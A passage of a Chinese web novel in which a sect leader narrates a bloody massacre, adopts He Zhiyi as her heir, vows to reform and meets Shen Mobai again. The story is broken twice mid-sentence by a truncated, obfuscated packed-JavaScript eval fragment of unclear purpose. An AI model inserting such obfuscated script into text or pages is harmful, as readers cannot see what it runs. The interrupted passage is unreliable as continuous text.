“是。”顾染织说完,看了我一眼,转身拿了一顶紫狐裘帽子戴在我头上,顺便把我的头发理理好,“快入冬了,小心着凉。” 我轻轻舒了口气,推了他一把,“我这种金刚不坏的体质怎么可能得那种凡人病?” 我带着二十名暗卫,连夜从剑阁赶往云顶山庄。经过一天一夜快马加鞭,路上换了三次马,跑死了不知道多少匹千里良驹。第二日的半夜,我们终于感到了北固山。在山脚下我看到山顶的火,寒气一下就从脚底下窜起来,根本顾不得等暗卫就自己一个人一闷头冲上了山顶。 ··· 我一心只想快点赶到何知易那里。然而偏偏事与愿违,半道上几个黑衣人杀出来,摆出阵势,挡在我面前。我根本没有闲暇去管这群家伙,一步跃上屋顶,绕开他们的拦截。然而,我身体凌空的一刹那,却突然被什么东西缠住了脚腕,那东西一用力,硬是把我从屋檐上拖到了地上。 我不得不落回地面,退了两步站定了。 我气的肺差点没炸了。竟敢挡了本座的道! 我回头,咬牙切齿,“杂碎!你们知道我是谁么?!让开!” 没人回答我。 相应的,四面八方突然涌出上百号黑衣人,满满当当占满整个院落,将我包围在中间。他们不言不语,脸上也不见有任何犹豫。 很明显,这些亡命之徒只有一个目的——杀了我。 这是想靠车轮战来做掉我?哈哈哈,太可笑了,仅凭你们这点小阵仗还想挡住我?! 我一只脚卷起刚才勾住我的玄铁锁链,一绕,猛的把拽住我的人拖到面前,紧接着一掌拍在他的天灵盖上。 刹那间,那人的头就像个熟的过头的西瓜似的,闷响了一声,爆裂成了无数片,向外飞溅。 残骸掉落在地上,“噗”得一声闷响。 在场的人明显被这一幕震骇了。 他们是亡命之徒?亡命之徒又如何。当真能无怖无惧?你们不怕死又如何?我会让你们见识比死亡更恐怖的地狱。 我嘴角慢慢勾出一个冷笑,“来呀?谁来当下一个?” 当即,就真的有人如此配合,吼了一声,拔剑就向我刺过来。 我手中铁链一卷,卷着那个人的脖子直接把他扯到地上,正摔在我脚边。 我抬脚,“咔嚓”踩断了他的右手。 那人发出一声闷哼。 “我知道你们都不怕死。”我微微笑了一下,然后猛然抽出了玄铁链子,手腕极有技巧的一甩一扯,那铁链就像长了眼睛的蛇一般猛的一口扎进了黑衣人的肚子。再出来的时候,勾出来一大片血淋淋的肠子。 那人发出一声干裂的嘶吼。 我于是又一链子下去拔掉了他的舌头。 “想死就安安静静去死嘛。”我微微一笑,抬头看了看周围的人,“你们说是吧?呵。” 周围一片死一般的寂静。 “疯子……”不知道突然是谁,下意识地喃喃说。 突然间,我的表情僵住了,我猛的抬头,去寻找那个说话的人。 然后,在所有人的脸上,我都找到了看疯子一般的神情。 此时的一切,突然间与十年前,穆家围攻镜花宫的一幕重合了。我突然记起来,那一夜,我孤身一人,一边笑一边像疯了一般舞着手里的剑,在人群里砍杀的情景。身边一片猩红,血飞如雨,天地之间只剩一片血色。 对没错,我想起来了。那时候,我在笑,其他人都是满脸惊恐。 我突然记起来,晨曦中,十四被我踩在脚底下,他看我时的表情。 愤怒?不仅是愤怒。怨恨?不仅是怨恨。 他眼睛里有一丝怜悯。他在可怜我。 我又想起来,那天在锦官城的城楼上,冷将息远远看着我的那种眼神。那种我一看到就让我觉得胆寒的眼神。 我突然感到一阵窒息。 我低下头,瞪着脚下抽出挣扎的人。 我像是呼吸困难似的,突然胸口剧烈起伏。 猛然,我像是发疯了一般的一脚踢开脚下那个半死不活的人,手里的玄铁锁链,猛的向外抽出去。 “滚开!你们都给我滚开!你们有什么资格来说我疯了!有什么资格来可怜我!你们有什么资格来指责我?!你们狗屁都不算!” 我尖叫着,巨大的内力透过铁链向四面八方涌出,空气都成了万把利刃,把周围的一切在一瞬间都撕得粉碎。 我疯了一般抽着手里的链子,撕碎那些仓皇逃走的黑衣人。 漫天都飞漫了碎肉和血沫,以及残肢断手。 “教主!” 我也不知道自己到底杀了多少人,直到顾染织的声音突然响起来,我才猛的停了手,猛的发现身边已经没有一个站着的人了。 “白玉蛟!” 顾染织的声音有几分仓惶。 他站在一片血海里,我也是。 他一尘不染,我鲜血淋漓。 我回头看着他,过了一会儿,我才收起脸上恐怖的表情。 我摸了一把脸上溅着的血。浓重的血腥气,让我觉得一阵干呕。 “教主……” 我迷茫了一会儿,忽然看着满地横尸,喃喃自语了一句,“我又杀人了。” 那一瞬间,我突然发现了一个事实。冷将息什么的,报仇什么的,也许只是个借口。我本身,就是个彻头彻尾嗜杀成狂的疯子。 我闭闭眼,眼前全然是一片血色,以及那些曾经惨死于我杀戮之下的枯骨。我站在那枯骨堆砌而成的山巅,摇摇欲坠。 疯子通常都说自己没疯。就像喝醉的人说自己没醉。 所以我又摇了摇头,慢慢嘟囔了一声,我没疯。 我又抬起袖子擦了擦脸上的血迹,只可惜袖子也早就完全被血染透了,于是,满是血的脸上,更加可怖。 所有暗卫都远远站在一边,带着几分敬畏或者说惶恐看着我,不敢靠近。 只有顾染织走到我身边,他从袖子里拿出一个素白色的手绢,递给我。 “算了,”我觉得那个白色很扎眼,于是摇了摇头,“你把这里的尸首处理一下,找找有没有生还者,问出主谋来。我还有点事。” 我说完,旋身便走。还特地抬了一下手,示意他不要跟过来。 ··· 何知易的小院在云顶山庄比较偏僻的地方。烧的最厉害死得最惨的都在正殿的方向,这里血迹不多,火势也并不大。但是,看到何知易的院子门大敞着的时候,我心脏狠狠向下一沉。 走进小院。天井还是没有变,葡萄藤架子,井,藤椅,都好好的摆在原本的地方。 什么都没变,只是季节变了,错落而茂盛的绿色藤蔓植物,而今变成了一片红黄色,零零星星挂着,其他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冷将息误会了颜行香,一剑杀了他。我误会了冷将息,祸害了整个武林。 想到这里,我忽然露出了一个意味不明的微笑。说是意味不明,因为我也不知道为什么我要笑。 我神色一转,带着几分懒散问,“你想报仇吗?” 何知易静静看了我两秒。紧接着,就当着我的面,突然捡起黑衣人掉落的剑,然后以难看又幼稚的姿势刺了过来。 我不费吹灰之力把他一袖子扇出去。 他向后飞出去,重重落在地上,发出沉重的响声,半天都爬不起来。 我抱起胳膊,摇头,皱着眉头盯着他,“啧,小子,你傻啊?就你现在这副样子,还妄想能伤的了我?我告诉你,我只要伸伸手指头,你就立马死无全尸。” 何知易轻轻喘息着看着我,双眼猩红,却不说话。 我转身,慢腾腾走到葡萄架底下的藤椅边,扶着椅背坐下。 “喂,”我在椅子里放松身体,仰头看着漆黑的天空,“我给你个机会。你留在我身边,我教你武功,让你当镜花宫的少主。若你有本事,那就变强,强到足够能与我抗衡。然后,你要么杀了我,要么把我从镜花宫教主的位置上踢下来取而代之,要么,被我杀掉。怎么样?你愿意么?或者说,你有这个胆量和耐力接受么?因为,我可能会随时嫌你无聊而杀了你。要知道,我的仇人并不多你这一个。” 何知易怔了怔,显然是没想到事情竟会有如此转机。 良久,何知易终于开口了,带着颇深的质疑,“为什么?” 我举头看了看天,又低头看了看地,最后笑了一声,“因为日子无聊嘛。” 我回头看何知易,在他那张素来没什么表情的脸上,找到了一抹愤怒。 他从地上慢慢爬起来,扔掉了手里的剑,向我走过来。“我做。” 好嘛,忍辱负重。识时务者为俊杰,尊严,面对着强权,只不过是个笑话。 “好,从现在开始,你就是镜花宫的少主,我白玉蛟的徒弟。” 何知易皱着眉头看了我一眼,“我知道了。不要重复那么多遍。” 我愣了一下,当即笑了出来。“现在就嫌我唠叨啊?以后日子还长着呢。” 我把这件事先向暗卫宣布了一声。暗卫已经把尸体都丢到一起焚烧了。 黑衣人和何家人,都放在一起烧了,一起化成了灰烬。凶手和受害者,还不都一样,都是一把灰。 尘世一切皆休,就让他们九泉之下化成厉鬼继续掐架去吧。 顾染织看了一眼何知易,叹了口气,“你这又是何必呢?” 我摇头晃脑,无所谓的笑,“哈哈,我高兴,你管我。” 临走之前,我吩咐暗卫将何知易母亲的尸首收殓了,然后去找到何知易父亲的坟冢,把他们二人合葬。 生不得相守,死为同穴尘。 也许自此,终于可以无憾了。 我突然想,如果哪天我要是死了,一定果断把自己烧成一把灰。 这样一来,就不会有人来开馆把我拖出来鞭尸奸尸挫骨扬灰。 我自飘零在风中,无拘无束,逍遥自在。 53. 改邪归正回头无岸 我把何知易带回镜花宫,当我对众人宣布这件事的时候,底下人一片哗然。 “立主之事,须得从长计议,教主不可意气用事!” “这样一个仇敌家的遗后,留着他是个大患呐!” “教主为了镜花宫百年基业,您三思呐!” 何知易着了一袭黑色的九段锦长袍,紫金冠,腰上配着白色象牙剑鞘的上古宝剑。一身华服衬得他肤如白玉,身长玉立。他对眼前的一切视若无睹,面无表情、目视前方站在我右手边。傲慢得目空一切,仿佛从这个世界中脱离了。 我懒洋洋趴在王座上打呵欠,等低下的人哔哔哔哔哔哔完了,笑眯眯地对底下的众人说,“以后,何少主就开始替我打理教务,诸位,作为前辈长辈,可要多多提点他。他事情办得不好,尽管训,尽管骂。但是有一点,不要来找我告状。” “有人有异议么?”我说着,慢慢得握了一下手,手指骨发出喀喇喀拉的可怕声响。 于是,众人歇菜。 “嗯,很好。那谁……”我指了指坐在第一位的男人。 那人赶紧低头自报姓名,“杜宇。” “哦,杜宇,你今天就带少主熟悉一下教务。以后,少主的命令就要当做我的命令来执行,不得怠慢。而诸位长老的任何决定,都必须通过少主的同意。当然了,反之亦然。毕竟知易还太年轻,年轻难免犯错,有长老们把关,本座也能放心。” 何知易仍旧不看我,目光放空,神游物外。 我一个人像是唱独角戏似的唱完整场,最后和颜悦色微笑着拍手,“那好,就都散了吧。” 待底下的人都散光了,整个大殿空空荡荡,只留下纱帐在穿堂而过的风中起起落落。我仍旧一个人坐在王座上,未曾离开。 我靠着王座,慢慢揉额角,头有点疼。 真是不幸被那个该死的顾染织给言中,我真是病了。 “你染上风寒了。” 冷冰冰的声音响起来,我一抬头,惊讶发现何知易正低着头看着我。 我对他笑了一下,“放屁。你快点做你该做的事情去吧。” 何知易没说什么,扭头就走了。 这小孩,别看他脸孔硬的跟个石头似的,心却软得不行。 我大概这辈子也忘不了他坐在墙根拿蜜饯给我吃的画面了。 这是何知易在镜花宫第一次对我说话。 他第二次对我说话,是三个月之后。 何知易并不是个傻瓜,虽然他看上去目光呆滞两眼无神。他没有试图颁布个什么“从良令”让魔教众人从此放下屠刀立地成佛,去做个劫富济贫的侠客。他没有试图对镜花宫做任何改变。反而,他运用三个月时间,摸清了整个镜花宫以及各个分教的情况,让整个镜花宫继续有条不紊的运作。 因为他颇为勤奋,人又话不多,还挺老实,原本很多对他又敌意的人慢慢也就松懈了。 不过,想巩固他的位置,还是颇为不易的。 有一天,何知易突然跑到我的寝宫来。 当时,我正与一帮弄臣喝酒玩乐。大部分人都喝的烂醉如泥,衣服被扔到到处都是,骄奢淫逸,糜烂之极,那场面淫靡到我都不好意思形容。 何知易站在门口,面无表情看着屋子里的一切,那张脸简直能噗啦噗啦掉下冰渣子来。 我看到他,愣了一下。 其他人没发现何知易,我看他像个木头似的杵在门口,生怕带坏了小孩子,于是推开怀里的人,绕开横七竖八躺了满地的人,推着他的肩膀出了门,顺便反手把门阖上。 “今天怎么想起来看我这个师傅了?”山间的冷风从连廊里的木头窗子里涌进来,我打了个寒噤,裹了裹肩上披着的狐裘。 山顶上的冬天,真是冷啊。 我把何知易领向书斋。通向书斋的玉石地面上结了厚厚一层霜,我小心踩着地板,觉得脚心透凉。心想,到底多长时间没来过这里了?怎么如此清冷。 何知易盯着我的脸看了一秒,转开了目光,“你身体怎么了?” “什么怎么了?”我不明所以。 何知易扭头,眼睛盯着远处,突然特别飘渺特别大仙儿说,“有些人总是像能够永远活下去一样活着,却在死前发现自己仿佛从来没有活过。” “嗯,”我点头表示同意,然后“噗嗤”一声笑出来,“何大师你这是要点化我?” 何知易没说话。不过我猜他肯定生气了。他应该是气自己,为何要关心我这个仇人。 他到了书斋,自己动手把放在角落里落了一层灰的炭炉点燃,然后又弄了个手炉摆在我面前。 我一把揣过暖炉抱在怀里。心说这是他何知易多年行医的习惯么?就看不得别人糟蹋身体。小何果然贤惠,适合娶回家来。 我默默在心里想着,忽然没头没脑笑道,“我早说了我是金刚体质了啊……” “你说什么?”何知易似乎没听清,回过头来不解看着我。 我惊觉自己失言,摇头,笑着岔开了话题,“没什么。你找我是为何事?” 何知易在我对面坐下。 他慢吞吞开口,“他们说你不杀我,是因为我的脸对你胃口。” 我“啊?”了一声。 何知易突然靠近我,盯着我的眼睛,“是真的吗?” 他靠得很近,温热的呼吸和身上清淡的药味迅速占领我的鼻息。 我不由自主向后撤了撤身体,然后扭开头,哼笑了一声,“本座怎么可能会看上你这种毛还没长齐的小子。” “噢。”何知易微微皱了一下眉,然后就兀自陷入了自己的沉思中。 这小子今日行为颇为古怪,我被他搞得浑身不自在,忍不住问,“喂,你到底想怎样?憋着干嘛?说出来好了。” 何知易抬眼,认真道,“我原本想,若你是看上了我,之前有十四和顾染织的先例,仗着你宠幸掌权的可能性会比较大。但是如果你只是想让我找你报仇,我便会很被动。” 何知易一口气毫不打哽毫不隐瞒直言不讳。我真有点佩服这小子直来直去的性子了。他竟是能将将阴险狡诈与坦然而自然合二为一。难道他是算准了我的性子?知道我奈他不得? “哦……这事儿啊。”我想了想,随后微笑,“这事儿好办,虽然我没打你主意,但可以假装很中意你。” 何知易抬起眼皮看着我。“那好,三日之后除夕的辞年酒宴,你要帮我。” 我摇头笑笑。这小子果然是打好了算盘才来的。 “好呀,不过我有个条件。”我眨巴眨巴眼睛,“为了表明你我亲近,你以后每天都来给我请个安。” 何知易愣了一下,随即有些不耐烦地皱了一下眉头,“如你所愿。” 何知易跟我说完那一番话之后就拍拍屁股走人了。 我一个人在书斋里坐了很久很久,久到我身上那些汗味、酒肉味、脂粉味,一切淫靡不洁的气味通通都消散干净。 我面对着窗子坐,窗外是一望无际的白色。雪覆盖了连绵起伏的山尖,白色的山连接着青白色的天空。偶尔有一只黑点鸣啸而过,清肃寂寥却高远。 我突然觉得甚是疲惫,想想昨日通宵达旦的那一切淫靡,我就觉得一阵恶心。 我很想抱怨一句,这种日子真是够了。但转念想想,又觉得自己似乎是没资格抱怨:又没谁逼我,明明是我逼别人。 过了大概一个时辰,顾染织忽然来找我。 他就那样庞若无人气定神闲走进来,身上披着一领雪白的狐裘,脑袋从毛茸茸的掐边儿里冒出来,看上去很是秀色可餐。 顾染织目光在屋子里扫了一圈,最后视线落在我身上。他有些诧异地扬了扬眉毛,自语了一句,“果真在这里?” 我看着他,看了半天,然后慢慢眨了一下眼睛,一字一句慢慢说,“顾染织,我决定要改邪归正。” 顾染织又是一扬眉。 “你啊,把那帮子乱七八糟的人都帮我遣散了吧,看着闹心。寝宫也给我收拾收拾,顺便把这书斋和隔壁的茶室都给收拾干净了。” 顾染织嘴角略略扬起一抹淡笑。 我正色看他,“从今日起,本座要日日书画诗酒茶,修身齐家治国平天下。” 顾染织眨巴着眼睛看了我许久,最后挂着一丝高深莫测的笑容转身走了。走了两步他又折回来,凑到我旁边,贴近我的脖子闻了闻,“教主,您没喝高吧?” 我一巴掌拍在他脑门上,“没。本座清醒得很。” 从那天开始,我真的改邪归正。 寝宫由酒池肉林,变成了修身养性之所,肃穆清净,圣洁得让诸位魔教同仁开始探讨是不是应该把镜花宫挂牌改成少林寺。我日日诗词歌赋琴棋书画,每天抓一只长老来陪我和何知易一起探讨佛学玄学,闹得镜花宫上上下下人人抱着一本波罗蜜心经日夜狂补。人人一张口都能朗朗上口:色不异空,空不异色,色即是空,空即是色。 除夕那天,我给足了何知易面子。酒宴之上,我亲点他挨着我边上坐。甚至还做小鸟依人状靠在他肩膀上,跟他低声的说说笑笑,亲密之意更不必说。 底下人敬酒时,我特别柔弱地拉着何知易的袖子撒娇,“人家病了嘛,知易说了,本座现在不适饮酒。所以知易,你就代本座饮了吧。” 我这一通娇撒下来,底下那一片人,各个瞪大了眼睛张大了鼻孔,进气少出气多,一脸世界末日提前到来的表情。有些承受力不行的,当即手都如筛,杯子咣当滚地上去了。 何知易倒是淡定,站起来,举杯。 “那我就恭敬不如从命,代教主与诸位共同饮了这杯酒。”何知易说完,将杯中烈酒一饮而尽,随后翻腕,淡淡道,“我梵刹神教,千秋万代,一统江湖。” 我坐在他身后,笑得那叫一个灿若夏花。 底下人立即跟着也附和了一句“千秋万代一统江湖”匆匆忙忙把整杯酒给灌下去。 席间,还有个婢女一不小心倒酒倒洒了,泼在我衣襟上。 何知易见状,立即一把推开那个婢女,骂道,“你是瞎了吗?还不快点退下领罚。” 他骂人的语气也是没一点起伏,语调平静,声音柔软。 若是看不出来这女的是他安排的,我就当真是眼拙了。 我立即给了他个台阶下,“没事没事,今日除夕,不好见血。算了吧。” 我话音一落,全场突然极其不自然地静了一瞬间。 看得出,我的属下们又被我给吓着了。我猜他们铁定回去要念佛驱鬼,以为我被鬼上身了。 何知易不慌不忙从袖口里抽出一个丝绢,然后慢慢帮我把洒在胸口的酒水擦干净。 我靠在他怀里,那姿势真是说不出的……暧昧和怪异。然后我就在思忖:八成,这小何在看医书的同时,杂七杂八的话本子戏本子也没少看,他竟然能干出如此恶俗而土鳖的事儿。 我和何知易在这除夕夜上演了这么一出好戏,各自演的甚是尽职。明眼的人立即看得出来何知易与我之间这不可说的一层关系了。 那一晚之后,整个镜花宫飘飞着各种各样的八卦:何知易现在是受宠啊!受宠得简直都宠天上去了! 就他三天前去了一趟教主寝宫,教主第二天就把什么男宠歌女琴师全打入冷宫,贴上封条,自此再不看一眼。 真不知道这何知易是有多大的法力,竟然能让那个恶鬼投胎修罗转世的白玉蛟,突然改邪归正,清心寡欲。 我看他这会儿比当年的顾染织还受宠呢!谁看到过教主竟然能做小伏低躺在一个男人怀里头温言软语? 咱们以后可得小心应付何知易,就怕他这种不会叫的狗,搞不好比顾染织还心狠手辣,谁不听话都得被他一个个给把脑袋拔了。 …… 我听到何知易一字不漏,波澜不惊转述这些话的时候,忍不住“吃吃”得笑。 何知易觉得很奇怪,“你在笑什么?” 我捏起一颗棋子,随心所欲放在了一个看着顺眼的地方。 对面,顾染织看到我走这一步,忍不住摇头。 “我觉得好笑,便笑。” 何知易冷冰冰望着我,“我没有发现任何可笑之处。” 我扭头看他,“啧”了一声,摇摇头。 顾染织在对面敲了敲棋盘,提醒,“教主,该你走棋了。” 我看了一眼棋盘,这才发现我中路一条大龙竟然被顾染织给一口气围了个死,他下一步就可以将我分而食之了。 我于是耍赖得扔掉手里的棋子,手中的棋子砸落在棋盘上,一下把整局棋搅得乱七八糟。 “不玩了。”我果断甩手不干。 顾染织挑眉。 站我后面的一高一矮两个暗卫于是帮衬着顾染织絮叨。 “每次要输就不玩了。” “耍赖。” 我得瑟得晃脑袋,露出一个我就耍赖我怕谁的微笑,对后面那俩人竖了个中指。 何知易面朝前方,眼角余光带着几分轻视得看着我,“你怎么整天都那么闲?” 我不明所以得看着他。 何知易继续说,“你不出去杀人么?” 我手指把玩着一颗玛瑙妻子,笑而不语。 何知易在试探我,他八成是想刺探点关于云顶山庄的消息。 关于云顶山庄的事,我已经把一切证据毁尸灭迹,并且严令任何知情者不得透露半点风声,让何知易无从查起。凤栖梧的事情我也一直压着,还好最近这姓凤的死小子不知道在忙活什么,突然歇停了,没再找我麻烦——不过也难说,搞不好,他正酝酿着什么更大的阴谋。 我伸了个懒腰,活动活动脖子,“我懒得。” 何知易慢慢扭过头,看着我的眼睛,眼神里带着一丝不易察觉的讽刺。 “白玉蛟,你真怪。这天下都耐你不得,天下一切都如你囊中之物,你甚至掌握着这世间一切人的生杀大权。你到底有什么不满足的?” 我继续捏着一颗棋子在手指尖把玩,闻言奇怪得看了他一眼,“孩子,我没有不满足啊。” “可是你不高兴。” 我愣了愣,随即别开眼,噗嗤一声笑出来。 “我不高兴不应该正和你意吗?你不是恨不得我早点死了才好么?” 何知易看了我半天,最后蓦然站起来。他好像是又生气了。我们俩现在还真有点话不投机半句多。 “你最终必死在我手上,可别郁郁寡欢而死。” 我抬头看着他,微微一笑,“借你吉言。” 我说完何知易一扭头,就“咣咣”大步流星走了。 何知易走了之后,顾染织一边收拾玛瑙棋子,一般漫不经心问,“教主,这样真的好吗?” 我看着何知易的背影,撑着下巴笑得很慵懒,“有什么不好?年轻人,多有活力啊。”说完,我继续微笑。 “你啊……”顾染织抬眼,丢给我一记冷眼,“除了折腾自己折磨别人,你还会干嘛?” 我僵硬了一瞬间,随即拍案而起,指着顾染织鼻尖叫道,“嘿,顾染织!你怎么越来越没大没小了!” 顾染织向后闪了一步。突然掏出一张素白的信笺递给我。 我疑惑了一瞬间,慢慢接过去,怀疑得盯着他,“你干嘛笑得那么奸诈?什么信?” 顾染织又向后退了一步,高深莫测笑而不语。 我拆开信封,捏出信纸,抖开。 然后看到上面特别疏狂特别拽得写了两行诗: 芦花满汀洲,寒沙带浅流。 重过南楼,柳下系船犹未稳,能几日,又十五。 芙蓉断桥下,故人曾到否? 旧江山浑是新愁。 欲买莲灯同载酒,终不似,少年游。 我看完,有点冷,搓了搓胳膊……这谁啊?写这么个破烂玩意儿来恶心我。 这信上的意思分明就是:我想你想得不行,你看这又快到十五了,我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾染织突然冷笑了一声,转头看向窗外,“你以为,你什么都不说,我就猜不到么?若是不跟沈墨白闹僵了,你能从金陵逃回这里?不是因为他,你能如此失魂落魄回来自甘堕落?教主,事到如今,你仍是愿意见他?你们这样闹僵了再见面又闹僵,翻来覆去,有意思么?” 本来顾染织说这些,我应该立即掐着他的脖子然后把他吊起来狠抽。但是,直到他转身从大门里出去,我都坐在原地一动没动。 其实他说的没错。 而且他还说漏了很多。 在金陵,知道他是玉宇琼楼的走狗的时候,我就撂过狠话,说什么形同陌路。 他硬逼着十四回想起从前的事情,逼得我和十四刀剑相向,我也撂过狠话,老死不相往来。 他在江边被迫扒下外皮暴露身份,我撂下更狠的话,说从此再见就你死我活。 结果呢? 每一次我都狠不下心,每一次我都自欺欺人,把自己说过的话当做耳旁风。 我看我就是犯贱。 ··· 傍晚的时候,我出其不意得变小了。变小了也好,不然我走在路上,实在太扎眼,就怕我前脚踏上大路,后脚整条街的人都跑没影了。不过变小了也很麻烦,变小了我要如何跟沈墨白掐架。 沈墨白走进酒馆的时候,抬眼闲闲瞄了一圈,在角落里看见一个带着白色水貂皮帽子的女孩。她正直勾勾看着沈墨白,一只手里端着一个酒杯,面前摆着两大坛女儿红。看样子,这丫头是已经喝了不少了,粉雕玉琢的皮肤上泛着嫩嫩的粉色。乌黑透亮的眼睛上一氤氲着一层水汽。 我直勾勾盯着沈墨白走过来,正盘算着要怎样在武功全失的时候,将其一击毙命,杀人于无形……他走到我身边,站定,突然腿一曲,“噗通”一声就跪下了。 我被他吓得往后一趔趄,差点没从高凳上摔下去。沈墨白,这这这是打算三跪九叩向我请罪? 面前的男子似乎是跋涉了千里万里之后,全身散发着一种颓然无力的疲惫气息。沈墨白忽然一把环住我的腰,使劲把头埋进我怀里。 我用手指狠狠戳了他肩膀一下,“喂。” 沈墨白不动。 我又狠狠戳了他一下,恶声恶气问,“你死啦?!” 沈墨白微微动了动,闷声闷气说,“我拉肚子……” 我当时真想搬起酒坛,一坛子夯在这家伙脑袋上,砸死丫的。不过我这些天修身养性总是有些效果的,我深呼吸了一下,心平了气和了,冷冰冰笑了一声,“那正好有助于你减肥。” 沈墨白憋闷了一会儿,然后瓮声瓮气用一种哭诉的语调说,“可是我当时离茅厕还有一里路……” 我一想到沈墨白夹着腿找茅厕的样子,忍不住脸上就有点绷不住。 我继续心平气和深呼吸,淡淡道,“……你的菊花受苦了。” 沈墨白又闷了一会儿,然后做垂死挣扎状从怀里掏出一个纸包,也不抬头,就是把纸包递给我。 离着老远我就闻见一股葱油肉味。 “这是什么?” “当年,答应过你,给你吃肉的。” 对。当年你把我扔在破墙头底下让我为你要饭。我要了满满一碗的钱,结果你就塞给我一葱油饼吃。这仇我这辈子都忘不了! 我装作不在意地把纸包往桌子上一扔,“我不记得有这事儿了。”我看那烧饼还热乎着,于是漫不经心质问了一句,“你让我在这里等那么久,难道就是去买烧饼了?” “嗯……我下午就在那里蹲点了。驴肉火烧吃了七个,结果……” 我自动补全:结果你就拉肚子了。 这分明就是地沟油勾兑的不卫生肉饼啊!吃了拉肚子的东西也敢给我?!自己倒霉还得拖上个垫背的?!你这人渣! 我头上蹦出三道青筋,一脚踢开他。 沈墨白被我踢的一歪,手撑着地才没滚地上去。他蹲在地上,抬头看着我。 我这时候才看到他脸上那道我划出来的伤疤,已经变成了褐色,皮肉外翻,无比狰狞。 我都不知道原来我划得那么重。 我看着他的脸颊。沈墨白也注意到了,于是有点不自然地抬手碰了一下自己那道大疤。 我回身,讽刺地笑道,“沈墨白你比原来更丑了。” 没想到,沈墨白表示赞同得连连点头,“嗯,萧暮山的侄子看见我都被吓哭了。” 我连连冷笑三声,特别轻蔑地瞥了他一眼,“你该,你活该。” “你得对我负责。”沈墨白说着,突然一下攥住我的手,“跟我去浪迹江湖吧。” 我这回真不能继续心平气和下去了,我一把甩开他,兜头泼了他一脸酒。一句话一同泼出去,“妄想!” 吼完,周围几桌人纷纷回头看我们的方向。 我于是压制了一下自己的情绪,弯下腰凑近沈墨白,瞪着他狠狠说,“你就不能换点新鲜的?嗯?你能不能别这么没劲?!” 我觉得沈墨白他比我心平气和的段数还高。 他被我当儿子似的骂了,又被我浇了一脸酒还是一点脾气也没有。 “我没觉得没劲,”他抹了把脸,淡淡说,“我遇到你之前,唯一的愿望就是能隐姓埋名,浪迹江湖。遇到你之后,唯一的愿望就是带着你一起隐姓埋名,浪迹江湖。” 我看着他。忽然觉得胸口堵得慌。想说话,但是却突然不知道该说什么。 于是我扭过头,把酒满上,一仰头一饮而尽。 “我听说云顶山庄的事了。也知道你让姓何的做了少主。”沈墨白沉沉叹了口气,“你别这么折腾自己,我看着心疼。” 我又满上一杯酒,一口喝干。 “与你无关。”我嗓子突然有点哑。 沈墨白沉默着蹲在我脚边,又蹲了许久,却不再说话。 我一个人干掉了两坛女儿红,越发觉得口干舌燥,越发觉得自己神志清醒。 “我这次来就是看看你,看你一切都好我就放心了。那件事……你要是决定了,就来找我。我会一直等下去。”沈墨白最后留下这么一句话,就慢腾腾站起来转身走人了。 我看着他的背影,心脏的尖尖上忽然掠过一丝难以言喻的抽痛。 54. 心甘情愿 一生未悔 在我人生的前二十年,我觉得这社会特万恶,我觉得所谓的武林正道都是些道貌岸然,每天装逼的傻帽。所以,在我人生的前二十年,我狠狠的操了这个社会。但是,二十年后的今天,我突然被我那个死而复生的师傅无言的一语道破——这个社会其实万分美好,前提是如果没有你整天兴风作浪。你 害了多少人死无葬身之地,害了多少人身负血海深,害了多少无知少年踏上为非作歹的不归路,害的本应该风平浪静的和谐江湖动荡不安。 人人视你为罗刹恶鬼,就连你自己的手下都视你为虎豹豺狼。 然后问题就来了,我既不想称霸武林,也不想富甲天下。我做了那么多年的坏事,囧然发下,我连个做坏事的理由都没有。我毫无理由得操这个社会把它操得死去活来,这社会实在是太无辜了。 于是,我决定,在今后的若干年中,我要狠狠的被这个社会操一下,以求让社会幼小的心灵能够得到安慰。 我不求社会的宽大处理,只求自己心里舒坦。 你说我自虐我也不反驳你。因为我就是自虐,我舒坦。我已经成功的完成了由一个S变成一个M的华丽转身。 佛曰:我不入地狱谁入地狱。 我铁定了是要下地狱了,早下晚下都没差。 —一年之后— 又是一年。 今年,我华丽丽的步入了我的三十岁。我觉得,就我这模样,这年龄,活脱脱已经跌破发行价了。 这一年中,我彻底过起了养老退休的生活。每日,我就在自己的后宫里种种花,养养鱼,喂个兔子,打个山鹰什么的。刚开始我这里还挺热闹,暗卫经常凑一起打圈儿双抠,玩圈麻将,喝个小酒什么的,后来我就把这帮家伙派下各个分部去做监察了。我现在每天宅在寝宫里,也用不着暗卫,让那帮人成天跟着我无聊趴在墙头晒太阳实在太委屈人家了。 我只把顾染织一个人留在身边。 从梳头发到按摩推拿搂着睡,小顾同学一站式服务周到,把其他下人奴婢都挤兑的没得活干,时间长了,我这寝宫里头的人越发稀少,最后只剩下零零落落个把人,冷清安静地像座陵宫。 何知易突然气势汹汹来找我的时候,我正躺在顾染织腿上睡午觉。 一张优雅的檀木香妃榻上,顾染织坐在一头,他一只手拿着卷册,一只手放在我的眼睛上替我挡住午后的光线。我缩在毛毯里,姿势像只午睡的猫。 门被“嘭”得一脚踢开。 我张开眼睛,看到门口里三层外三层围着一群拿着管制刀具的家伙,其中不乏很多看起来相当眼熟的人。 比如说站在最前面的,何知易,以及,凤栖梧。 我眨巴眨巴眼睛,打了个呵欠。脸上没有一点吃惊的表情。 何知易和凤栖梧联合这件事,我大概九个月之前就知道了。凤栖梧自从从武林大会上消失之后,就一直暗中扩展镇西王府的势力,先后使得屠龙手段岑,蜀中唐门以及漠北的鬼王宗为其所用。段岑跟唐门曾经有黑幕交易,以此事来威胁唐门并不困难,再加上沈墨白害得唐门门主亲手掐死了自己的儿子,为了对付武林盟,唐门选择凤栖梧作为联手者也很顺理成章。至于鬼王宗,这门派在漠北势力极其大,据说前身是曾经权倾江湖的拜月教,拜月教教主洛风涯死后,拜月教分崩离析。其妹,“鬼姬”洛惊寒重整旗鼓,创立了鬼王宗。鬼王宗盘踞漠北,然而在中原却势力单薄,为了扩展势力而联合了凤栖梧,使凤栖梧作为他们在中原的代理人,算是双赢双收的联合。 